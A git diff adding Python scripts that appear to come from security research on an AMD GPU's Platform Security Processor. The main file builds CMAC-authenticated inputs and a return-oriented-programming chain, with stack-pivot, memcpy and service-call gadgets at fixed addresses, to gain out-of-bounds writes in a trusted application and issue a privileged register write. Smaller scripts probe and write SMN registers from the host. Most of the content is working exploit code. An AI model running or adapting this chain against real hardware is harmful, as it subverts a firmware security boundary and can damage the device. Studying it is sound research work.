+ assert ring==0 and ta==0x241
+ after=snapshot('AFTER')
+ print('adjacent_changed',before!=after,flush=True)
+finally:
+ if ring_ok:
+ u=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
+ u.cmd.cmd_unload_ta.session_id=sid
+ ru=psp._ring_submit(u)
+ print('GCP unload',hex(ru.resp.status&0xffffffff),flush=True)
diff --git a/hw/gcp_rop_asd5_pmi3_event.py b/hw/gcp_rop_asd5_pmi3_event.py
new file mode 100644
index 0000000..fe13343
--- /dev/null
+++ b/hw/gcp_rop_asd5_pmi3_event.py
@@ -0,0 +1,359 @@
+"""Bounded ASD 0x403 MP1 PMI3 event/control, based on proven SID1 scratch ROP.
+
+Two ONE-SHOT modes in separate clean boots: width-zero control, then width-4
+natural diagnostic word (only if control passes). A new signed-codeword
+comparator gate in the SAME GCP session checks the old params-VA hypothesis
+before any ROP. Host-SMN adjacent pointer is the independent event oracle;
+ASD 0x404 reads benign BIOS_SCRATCH_15 only, not PMI3's data port.
+Potentially disruptive VOLATILE event write; no flash, fuse or MMU bar.
+Do not confuse this modified, gated experiment with retrying the faulted
+SID2 LSDMA chain; fail closed on any gate mismatch or unresponsive PSP.
+"""
+import struct, sys, glob, json
+sys.path.insert(0,'/root/psp/hw')
+from tinygrad import Device
+import tinygrad.runtime.autogen.am.am as am
+
+# ---------- pure-python AES-128 + CMAC ----------
+SB=[0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]
+def xt(a):
+ a<<=1
+ return (a^0x1b)&0xff if a&0x100 else a
+def expand(k):
+ w=[list(k[i*4:i*4+4]) for i in range(4)]; rc=1
+ for i in range(4,44):
+ t=list(w[i-1])
+ if i%4==0:
+ t=t[1:]+t[:1]; t=[SB[x] for x in t]; t[0]^=rc; rc=xt(rc)
+ w.append([w[i-4][j]^t[j] for j in range(4)])
+ return w
+def enc(k,b):
+ w=expand(k); s=[list(b[i::4]) for i in range(4)]
+ s=[[b[r+4*c] for c in range(4)] for r in range(4)]
+ def ark(rnd):
+ for c in range(4):
+ for r in range(4): s[r][c]^=w[rnd*4+c][r]
+ ark(0)
+ for rnd in range(1,11):
+ for r in range(4):
+ for c in range(4): s[r][c]=SB[s[r][c]]
+ for r in range(1,4): s[r]=s[r][r:]+s[r][:r]
+ if rnd!=10:
+ for c in range(4):
+ a=[s[r][c] for r in range(4)]
+ s[0][c]=xt(a[0])^xt(a[1])^a[1]^a[2]^a[3]
+ s[1][c]=a[0]^xt(a[1])^xt(a[2])^a[2]^a[3]
+ s[2][c]=a[0]^a[1]^xt(a[2])^xt(a[3])^a[3]
+ s[3][c]=xt(a[0])^a[0]^a[1]^a[2]^xt(a[3])
+ ark(rnd)
+ return bytes(s[r][c] for c in range(4) for r in range(4))
+def dbl(b):
+ n=int.from_bytes(b,'big')<<1
+ if int.from_bytes(b,'big')>>127: n^=0x87
+ return (n&((1<<128)-1)).to_bytes(16,'big')
+def cmac(k,m):
+ L=enc(k,bytes(16)); K1=dbl(L)
+ assert len(m)%16==0 and m
+ blocks=[m[i:i+16] for i in range(0,len(m),16)]
+ blocks[-1]=bytes(a^b for a,b in zip(blocks[-1],K1))
+ x=bytes(16)
+ for blk in blocks: x=enc(k,bytes(a^b for a,b in zip(x,blk)))
+ return x
+# ---------- device ----------
+adev=Device["AMD"].iface.dev_impl; psp=adev.psp
+MODE=sys.argv[1] if len(sys.argv)==2 else ''
+assert MODE in ('control','write'), 'pass control or write explicitly'
+BUFLEN=0x40000; PAT=0xA5; SZ=0x1000; PARAMS=0x04024000
+g=json.load(open('/root/psp/hw/fe08_good.json'))
+CT=bytes.fromhex(g['ct']); SK=bytes.fromhex(g['sk']); SEED=g['seedoff']
+assert cmac(SK,bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'], 'CMAC self-test FAILED'
+print('pure-python AES-CMAC self-test: OK; no key material printed',flush=True)
+import os
+marker='/root/psp/hw/.gcp_rop_asd5_pmi3_'+MODE+'.attempted'
+fd=os.open(marker,os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600);os.close(fd)
+def alloc(n):
+ pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
+def load_asd(p):
+ b=open(p,'rb').read(); ap,amc=alloc(0x80000); sp,smc=alloc(0x10000); n=(len(b)+3)&~3
+ adev.vram.view(ap,n)[:]=b+b'\x00'*(n-len(b)); adev.gmc.flush_hdp()
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_ASD); t=c.cmd.cmd_load_ta
+ t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(b)
+ t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=smc&0xFFFFFFFF,smc>>32; t.cmd_buf_len=0x10000
+ try: return psp._ring_submit(c).resp.status&0xFFFFFFFF
+ except Exception: return -1
+app_pa,app_mc=alloc(0x80000); cp,cmc=alloc(BUFLEN)
+blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read()
+def load():
+ n=(len(blob)+3)&~3
+ adev.vram.view(app_pa,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
+ t.app_phy_addr_lo,t.app_phy_addr_hi=app_mc&0xFFFFFFFF,app_mc>>32; t.app_len=len(blob)
+ t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=BUFLEN
+ try:
+ r=psp._ring_submit(c); return r.resp.status&0xFFFFFFFF, r.resp.session_id
+ except Exception: return -1,None
+def build(cmd,arg10,blob256=None,seed=None,extra=None):
+ buf=bytearray(bytes([PAT])*BUFLEN)
+ struct.pack_into('<I',buf,0,cmd); struct.pack_into('<I',buf,0x10,arg10)
+ struct.pack_into('<I',buf,0x414,0xFFFFFFFB); struct.pack_into('<I',buf,0x818,SZ)
+ if blob256: buf[0x14:0x14+len(blob256)]=blob256
+ if seed is not None:
+ d=seed.to_bytes(4,'little')+bytes(range(4,0x20))
+ buf[0x14:0x24]=cmac(SK,d); buf[0x24:0x24+len(d)]=d
+ struct.pack_into('<I',buf,0x414,0x10+len(d))
+ for o,v in (extra or {}).items(): struct.pack_into('<I',buf,o,v)
+ return buf
+def sub(sid,cmd,buf):
+ adev.vram.view(cp,BUFLEN)[:]=bytes(buf); adev.gmc.flush_hdp()
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
+ iv=c.cmd.cmd_invoke_cmd; iv.session_id,iv.ta_cmd_id=sid,cmd
+ try: psp._ring_submit(c)
+ except Exception: pass
+ adev.gmc.flush_hdp(); out=bytes(adev.vram.view(cp,BUFLEN)[:])
+ return struct.unpack_from('<I',out,8)[0], out
+
+PARAMS=0x04024000
+FILL=0xBB
+asd_status=load_asd('/root/psp/contall/asd_33-0-0-163_18debcc4.bin')
+print('LOAD_ASD:',hex(asd_status),flush=True)
+assert asd_status==0
+st,sid=load(); print('load GCP: %#x sid=%s'%(st,sid),flush=True)
+assert st==0 and sid==1, 'requires fresh ASD-first GCP SID1 boot; do not attempt ROP'
+def unload(s_):
+ c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA); c.cmd.cmd_unload_ta.session_id=s_
+ try: psp._ring_submit(c)
+ except Exception: pass
+def handshake():
+ ring,ta,out=checked_invoke(0xFE07,build(0xFE07,0))
+ h=struct.unpack_from('<I',out,0x1950)[0]
+ assert ring==ta==0 and h, 'FE07 failed: abort rather than reload and shift params VA'
+ return h
+
+# ============================================================================
+# FE0A SELECTOR-8 PROBE (Addendum 142 step 3)
+#
+# Static claim under test: FE0A selector 8 -> tbb case 7 -> 0x404fe8, which stores a
+# 4-byte LE dword (the ASD cmd-0x109 RPC result) at params + *(params+0x834) + 0x418,
+# gated by D > 0xFFFFFFFB || D + 4 <= *(params+0x818).
+#
+# This run is IN-BUFFER ONLY: every displacement keeps the destination inside the
+# command buffer, so nothing out-of-allocation is written and the ring stays healthy.
+# Whole-buffer diff (fill 0xBB) so an unexpected landing offset is still observed --
+# the 0x834 field identity is a static inference and may be wrong.
+# ============================================================================
+FILL2 = 0xBB
+
+def checked_invoke(cmd, buf):
+ adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
+ c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
+ iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, cmd
+ r=psp._ring_submit(c) # no swallowed timeout or nonzero ring status
+ ring=r.resp.status&0xffffffff
+ adev.gmc.flush_hdp()
+ out=bytes(adev.vram.view(cp, BUFLEN)[:])
+ return ring,struct.unpack_from('<I',out,8)[0],out
+
+def fe0a_buf(h, sel, d86c=0, d834=None, sz818=0x1000):
+ """identical field set to codeccap's proven fe0a_codec, plus +0x834"""
+ buf = bytearray(bytes([FILL2]) * BUFLEN)
+ struct.pack_into('<I', buf, 0, 0xFE0A)
+ struct.pack_into('<I', buf, 0x10, h)
+ struct.pack_into('<I', buf, 0x414, 0x1000)
+ struct.pack_into('<I', buf, 0x818, sz818)
+ struct.pack_into('<I', buf, 0x81c, 0x20)
+ struct.pack_into('<I', buf, 0x820, sel)
+ struct.pack_into('<I', buf, 0x824, 0)
+ struct.pack_into('<I', buf, 0x828, 0)
+ struct.pack_into('<I', buf, 0x86c, d86c)
+ if d834 is not None: struct.pack_into('<I', buf, 0x834, d834)
+ struct.pack_into('<I', buf, 0x14, 0x11111111)
+ return buf
+
+def diffruns(pre, post):
+ runs, i, n = [], 0, len(post)
+ while i < n:
+ if post[i] != pre[i]:
+ j = i
+ while j < n and post[j] != pre[j]: j += 1
+ runs.append((i, post[i:j])); i = j
+ else:
+ i += 1
+ return runs
+
+def probe(tag, sel, d834=None, d86c=0, sz818=0x1000):
+ h = handshake()
+ sub(sid, 0xFE08, build(0xFE08, h, blob256=CT))
+ sub(sid, 0xFE09, build(0xFE09, h, seed=1,
+ extra={0x820:1, 0x828:(0x500-0x418)&0xFFFFFFFF, 0x82C:SEED, 0x830:0}))
+ buf = fe0a_buf(h, sel, d86c=d86c, d834=d834, sz818=sz818)
+ out = invoke(0xFE0A, buf)
+ st = struct.unpack_from('<I', out, 8)[0]
+ d834s = 'none' if d834 is None else '%#x' % d834
+ print('%-34s sel=%-3d 0x834=%-12s status=%#x (%d)' % (tag, sel, d834s, st, st))
+ runs = diffruns(bytes(buf), out)
+ for off, data in runs:
+ if len(data) <= 24: print(' +%#07x %s' % (off, data.hex(' ')))
+ else: print(' +%#07x len=%-5d %s ...' % (off, len(data), data[:16].hex(' ')))
+ if not runs: print(' (no host-visible change at all)')
+ sys.stdout.flush()
+import struct as _s
+PARAMS=0x04024000
+RBASE_OFF=0x2000; RBASE=PARAMS+RBASE_OFF
+PIVOT=0x0040371d # mov sp,r4 ; pop {r4,r5,r6,r7,r8,sb,sl,fp,pc}
+STRB =0x00402267 # strb r4,[r5] ; pop {r4,r5,r6,r7,r8,pc}
+SETR0=0x00405f79 # pop {r0,r8,fp,pc}
+RET =0x0040498d # 0x40498c error-path entry (mov r6,r0 ; cbnz r0 -> 0x4049d8)
+R0VAL=0x00000240 # nonzero status for the cbnz
+MARK_OFF=0x3000; MARK=PARAMS+MARK_OFF; MARKB=0x5A
+SLOT=0x41bfbc # PC slot; sl slot = 0x41bfb8, r4 slot = 0x41bfa0
+def c2p(n): return getattr(adev,'mmMP0_SMN_C2PMSG_%d'%n).read() & 0xFFFFFFFF
+def fframe(): return tuple(c2p(n) for n in range(82,89))
+def disp(va): return (va-PARAMS-0x418)&0xFFFFFFFF
+def fe0c(h,a10,a18):
+ b=bytearray(bytes([PAT])*BUFLEN)
+ _s.pack_into('<I',b,0,0xFE0C); _s.pack_into('<I',b,0x10,h)
+ _s.pack_into('<Q',b,0x10,a10); _s.pack_into('<Q',b,0x18,a18)
+ _s.pack_into('<I',b,0x414,0x1000); _s.pack_into('<I',b,0x818,0x1000)
+ return b
+
+
+# ASD 0x404 reads ONLY benign scratch 0x16C, never PMI3's input data port.
+# ASD 0x403 targets the distinct volatile PMI3 numeric word 0x03B30600.
+# 0xE3030100 matches a naturally emitted GCP/SYS_DRV diagnostic word.
+PA=0x03B30600; READ_PA=0x0000016C; VALUE=0xE3030100; IDX=82; SUB=4
+WIDTH=0 if MODE=='control' else 4
+assert PA==0x03B30600 and READ_PA==0x16C and WIDTH in (0,4)
+RBASE_OFF=0x2000; SRC_OFF=0x2200; STACK_DST=0x410000; MLEN=0xC00
+EXFIL=PARAMS+0x3000; DUMPDST=PARAMS+0x3010; MARK2=PARAMS+0x3100
+SETARGS=0x40167f; MEMCPYG=0x40410b; SVC1=0x4061cb; EXFILG=0x40404f
+GRACE=0x3b0; MSGA=0x500; MSGB=0x600; MSGC=0x700; MSGD=0x800; MSGE=0x900
+DESC0=0xA00; DESC1=0xA40; PENT=0xA80; BEFORE=0xB00; AFTER=0xB04
+
+def chain(b):
+ def W(off,v): _s.pack_into('<I',b,off,v&0xffffffff)
+ o=RBASE_OFF
+ for k in range(0,0x20,4): W(o+k,0)
+ W(o+0x20,SETARGS); W(o+0x24,STACK_DST); W(o+0x28,PARAMS+SRC_OFF); W(o+0x2c,MLEN)
+ for k in range(0x30,0x58,4): W(o+k,0)
+ W(o+0x58,MEMCPYG)
+ W(o+0x84,STACK_DST); W(o+0x88,0); W(o+0x8c,0); W(o+0x90,PIVOT)
+ m=SRC_OFF
+ for k in range(0,GRACE,4): W(m+k,0)
+ # Four ASD service-2 calls: physical read-before, seed, seed, write.
+ for i,msg in enumerate((MSGA,MSGB,MSGC,MSGD)):
+ p=0x20+0x60*i
+ W(m+p,SETARGS); W(m+p+4,2); W(m+p+8,STACK_DST+msg)
+ W(m+p+0x38,SVC1)
+ if i<3: W(m+p+0x60,SETARGS)
+ # D SVC1 -> save D status at EXFIL, then jump to E setargs.
+ W(m+0x19c,EXFIL); W(m+0x1a0,EXFILG)
+ W(m+0x230,SETARGS); W(m+0x234,2); W(m+0x238,STACK_DST+MSGE)
+ W(m+0x268,SVC1)
+ # E SVC1 -> save E status at EXFIL+4, then dump before/after values.
+ W(m+0x28c,EXFIL+4); W(m+0x290,EXFILG)
+ W(m+0x320,SETARGS); W(m+0x324,DUMPDST); W(m+0x328,STACK_DST+MSGA)
+ W(m+0x32c,0x440); W(m+0x358,MEMCPYG)
+ W(m+0x384,STACK_DST+GRACE); W(m+0x390,PIVOT)
+ g=m+GRACE
+ W(g+0x00,0x5A); W(g+0x04,MARK2)
+ for k in (0x08,0x0c,0x10,0x14,0x18,0x1c): W(g+k,0)
+ W(g+0x20,STRB)
+ for offset,byte,addr in ((0x24,0x8d,0x41bfbc),(0x3c,0x49,0x41bfbd),
+ (0x54,0x40,0x41bfbe),(0x6c,0x00,0x41bfbf)):
+ W(g+offset,byte); W(g+offset+4,addr)
+ W(g+offset+8,0); W(g+offset+12,0); W(g+offset+16,0)
+ W(g+offset+20,STRB)
+ W(g+0x84,0x41bf9c)
+ for k in (0x88,0x8c,0x90,0x94):W(g+k,0)
+ W(g+0x98,SETR0); W(g+0x9c,R0VAL)
+ W(g+0xa0,0);W(g+0xa4,0);W(g+0xa8,PIVOT)
+ for k in range(DESC0,PENT+0x40,4):W(m+k,0)
+ W(m+DESC1+0xC,STACK_DST+PENT)
+ W(m+PENT, SUB); W(m+PENT+8,PA)
+ def msg(off,op,fields):
+ for k in range(off,off+0x40,4):W(m+k,0)
+ W(m+off,op)
+ for n,v in fields.items():W(m+off+4*n,v)
+ msg(MSGA,0x404,{1:4<<8,2:READ_PA,5:4})
+ msg(MSGB,0x100,{1:0,2:STACK_DST+DESC0})
+ msg(MSGC,0x100,{1:1,2:STACK_DST+DESC1})
+ msg(MSGD,0x403,{1:IDX|(SUB<<8),2:PA,3:VALUE,4:0,5:WIDTH})
+ msg(MSGE,0x404,{1:4<<8,2:READ_PA,5:4})
+
+def qcs(h):
+ b=bytearray(bytes([0xBB])*BUFLEN)
+ _s.pack_into('<I',b,0,0xFE0A);_s.pack_into('<I',b,0x10,h)
+ _s.pack_into('<I',b,0x14,0x11111111);_s.pack_into('<I',b,0x414,0x1000)
+ _s.pack_into('<I',b,0x818,0xFFFFFFF0);_s.pack_into('<I',b,0x81c,0x40)
+ _s.pack_into('<I',b,0x820,4);_s.pack_into('<I',b,0x824,0);_s.pack_into('<I',b,0x828,0)
+ _s.pack_into('<I',b,0x838,disp(SLOT-4));_s.pack_into('<I',b,0x83c,0x200)
+ _s.pack_into('<I',b,0x840,disp(SLOT-0x1c));_s.pack_into('<Q',b,0x14+0x200,0)
+ chain(b);return b
+
+def smn_read(addr):
+ adev.wreg(14,addr) # PCIE_INDEX2, address selection ONLY
+ return adev.rreg(15)&0xffffffff
+
+def pmi_snapshot(tag):
+ vals=tuple(smn_read(a) for a in (0x03B30604,0x03B30608,0x03B3060C))
+ print(tag,'candidate status/rptr/wptr',tuple(hex(v) for v in vals),
+ 'MP0',hex(smn_read(0x03810ACC)),
+ 'bogus',hex(smn_read(0x0FEEDC00)),flush=True)
+ return vals
+
+# Exact unique signed codeword 0x4604A121 at 0x404A78: two thresholds
+# calibrate this *live* SID1 params source before any OOB chosen write/ROP.
+for seed,expected in ((0x4604A121,0x241),(0x4604A122,0x100)):
+ h0=handshake()
+ for opcode,b in ((0xFE08,build(0xFE08,h0,blob256=CT)),
+ (0xFE09,build(0xFE09,h0,seed=seed,
+ extra={0x820:1,0x828:0xE8,0x82C:SEED,0x830:0}))):
+ ring,ta,_=checked_invoke(opcode,b)
+ assert ring==ta==0, 'signed calibration auth gate failed'
+ cb=fe0a_buf(h0,11)
+ _s.pack_into('<I',cb,0x414,0xffffffff) # pre-comparator bounds gate
+ _s.pack_into('<I',cb,0x824,0xFC3E0A64)
+ ring,ta,_=checked_invoke(0xFE0A,cb)
+ print('preflight counter=%#x ring=%#x ta=%#x expected=%#x'%
+ (seed-1,ring,ta,expected),flush=True)
+ assert ring==0 and ta==expected, 'params source word does not match: no ROP'
+
+host_scratch=adev.rreg(READ_PA//4)&0xffffffff
+print('host benign scratch',hex(host_scratch),'candidate target',hex(PA),
+ 'word',hex(VALUE),'mode',MODE,flush=True)
+assert host_scratch==0, 'benign read control not zero'
+h=handshake()
+for opcode,b in ((0xFE0C,fe0c(h,RBASE,(PIVOT<<32))),
+ (0xFE08,build(0xFE08,h,blob256=CT)),
+ (0xFE09,build(0xFE09,h,seed=1,
+ extra={0x820:1,0x828:0xE8,0x82C:SEED,0x830:0}))):
+ ring,ta,_=checked_invoke(opcode,b)
+ print('ROP setup',hex(opcode),'ring',hex(ring),'ta',hex(ta),flush=True)
+ assert ring==ta==0, 'ROP setup failed: no 0x403 request'
+pmi_before=pmi_snapshot('BEFORE ROP')
+ring,st,out=checked_invoke(0xFE0A,qcs(h))
+print('ROP FE0A ring=%#x ta=%#x'%(ring,st),flush=True)
+assert ring==0, 'ring did not complete: STOP; ATX recovery required'
+pmi_after=pmi_snapshot('AFTER ROP')
+fr=fframe(); grace=out[0x3100]
+rvD,rvE=_s.unpack_from('<II',out,0x3000)
+before=_s.unpack_from('<I',out,0x3010+0x00c)[0]
+after=_s.unpack_from('<I',out,0x3010+0x40c)[0]
+host_scratch_after=adev.rreg(READ_PA//4)&0xffffffff
+print('ASD benign SVC7B before=%#x after=%#x; 0x403 handler=%#x read_status=%#x'%
+ (before,after,rvD,rvE),flush=True)
+print('PMI3 wptr_delta=%#x; status before/after=%#x/%#x'%
+ ((pmi_after[2]-pmi_before[2])&0xffffffff,pmi_before[0],pmi_after[0]),flush=True)
+print('FE0A=%#x grace=%#x faultframe=%s host_scratch=%#x'%
+ (st,grace,' '.join('%08x'%x for x in fr),host_scratch_after),flush=True)
+assert st==0x240 and grace==0x5a and fr==(0,)*7, 'ROP return not verified'
+assert rvD==(2 if MODE=='control' else 0) and rvE==0, 'ASD handler result not verified'
+assert before==after==host_scratch==host_scratch_after==0, 'benign read changed unexpectedly'
+ring,ta,_=checked_invoke(0xFE07,build(0xFE07,0))
+print('POST ROP FE07 ring=%#x ta=%#x'%(ring,ta),flush=True)
+assert ring==ta==0
+u=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA)
+u.cmd.cmd_unload_ta.session_id=sid
+ru=psp._ring_submit(u)
+print('GCP unload',hex(ru.resp.status&0xffffffff),flush=True)
+assert (ru.resp.status&0xffffffff)==0
diff --git a/hw/mp1_pmi3_host_event_control.py b/hw/mp1_pmi3_host_event_control.py
new file mode 100644
index 0000000..554026e
--- /dev/null
+++ b/hw/mp1_pmi3_host_event_control.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python3
+"""One-shot host-SMN PMI3 event-equivalence control, volatile only.
+
+Test whether privileged *host* PCIE_INDEX2/DATA2 can send the same naturally
+emitted diagnostic word that ASD 0x403 successfully enqueued on PSP fabric.
+This is a bounded write to numeric 0x03B30600, NOT flash/fuse/security bar.
+Queue pointer/status readbacks and bogus/MP0 controls distinguish mirrors;
+it does NOT prove the event consumer or any PSP-only security advantage.
+"""
+import os
+from tinygrad import Device
+
+fd=os.open('/root/psp/hw/.mp1_pmi3_host_event_control.attempted',
+ os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600)
+os.close(fd)
+adev=Device['AMD'].iface.dev_impl
+
+def read(a):
+ adev.wreg(14,a) # host PCIE_INDEX2 address selection
+ return adev.rreg(15)&0xffffffff
+
+def snap(tag):
+ t=tuple(read(a) for a in (0x03B30604,0x03B30608,0x03B3060C))
+ print(tag,'candidate status/rptr/wptr',tuple(hex(x) for x in t),
+ 'MP0',hex(read(0x03810ACC)),'bogus',hex(read(0x0FEEDC00)),flush=True)
+ return t
+
+before=snap('BEFORE A')
+again=snap('BEFORE B (no data write)')
+assert before==again, 'unstable pointer, no host write'
+assert before[0]==0 and before[1]==0x40000 and 0x40000<=before[2]<=0x403f0
+assert read(0x03810ACC)==0x80000000 and read(0x0FEEDC00)==0x00DCEE0F
+adev.wreg(14,0x03B30600)
+adev.wreg(15,0xE3030100) # naturally emitted, bounded volatile event
+print('ONE host-SMN write: address 0x03B30600 word 0xE3030100',flush=True)
+after=snap('AFTER')
+print('host wptr delta',hex((after[2]-before[2])&0xffffffff),flush=True)
diff --git a/hw/mp1_pmi3_host_event_control_fresh.py b/hw/mp1_pmi3_host_event_control_fresh.py
new file mode 100644
index 0000000..ae98f6b
--- /dev/null
+++ b/hw/mp1_pmi3_host_event_control_fresh.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python3
+"""Fresh-ATX one-shot host-SMN PMI3 event-equivalence control, volatile only.
+
+Test whether privileged *host* PCIE_INDEX2/DATA2 can send the same naturally
+emitted diagnostic word that ASD 0x403 successfully enqueued on PSP fabric.
+This is a bounded write to numeric 0x03B30600, NOT flash/fuse/security bar.
+Queue pointer/status readbacks and bogus/MP0 controls distinguish mirrors;
+it does NOT prove the event consumer or any PSP-only security advantage.
+"""
+import os
+from tinygrad import Device
+
+fd=os.open('/root/psp/hw/.mp1_pmi3_host_event_control_fresh.attempted',
+ os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600)
+os.close(fd)
+adev=Device['AMD'].iface.dev_impl
+
+def read(a):
+ adev.wreg(14,a) # host PCIE_INDEX2 address selection
+ return adev.rreg(15)&0xffffffff
+
+def snap(tag):
+ t=tuple(read(a) for a in (0x03B30604,0x03B30608,0x03B3060C))
+ print(tag,'candidate status/rptr/wptr',tuple(hex(x) for x in t),
+ 'MP0',hex(read(0x03810ACC)),'bogus',hex(read(0x0FEEDC00)),flush=True)
+ return t
+
+before=snap('BEFORE A')
+again=snap('BEFORE B (no data write)')
+assert before==again, 'unstable pointer, no host write'
+assert before[0]==0 and before[1]==0x40000 and 0x40000<=before[2]<=0x403f0
+assert read(0x03810ACC)==0x80000000 and read(0x0FEEDC00)==0x00DCEE0F
+adev.wreg(14,0x03B30600)
+adev.wreg(15,0xE3030100) # naturally emitted, bounded volatile event
+print('ONE host-SMN write: address 0x03B30600 word 0xE3030100',flush=True)
+after=snap('AFTER')
+print('host wptr delta',hex((after[2]-before[2])&0xffffffff),flush=True)
diff --git a/hw/psp_mp1_pmi3_host_readonly.py b/hw/psp_mp1_pmi3_host_readonly.py
new file mode 100644
index 0000000..74ab9b9
--- /dev/null
+++ b/hw/psp_mp1_pmi3_host_readonly.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python3
+"""Read-only host SMN survey of candidate MP1 PMI3 adjacent words.
+
+Numeric 0x03B30600 occurs in signed Navi31 SMU13 firmware; adjacent
+register names are only a Navi22 hypothesis. Do NOT read the data word here:
+a read may be destructive. The only host writes select the SMN read index.
+"""
+from tinygrad import Device
+adev=Device['AMD'].iface.dev_impl
+
+def smn_read(a):
+ adev.wreg(14,a) # PCIE_INDEX2: address selector only
+ return adev.rreg(15)&0xffffffff
+
+for name,a in (
+ ('bogus_before',0x0FEEDC00),
+ ('mp0_before',0x03810ACC),
+ ('candidate_status_first',0x03B30604),
+ ('candidate_read_pointer',0x03B30608),
+ ('candidate_write_pointer',0x03B3060C),
+ ('candidate_status_again',0x03B30604),
+ ('mp0_after',0x03810ACC),
+ ('bogus_after',0x0FEEDC00),
+):
+ print(name,hex(a),hex(smn_read(a)),flush=True)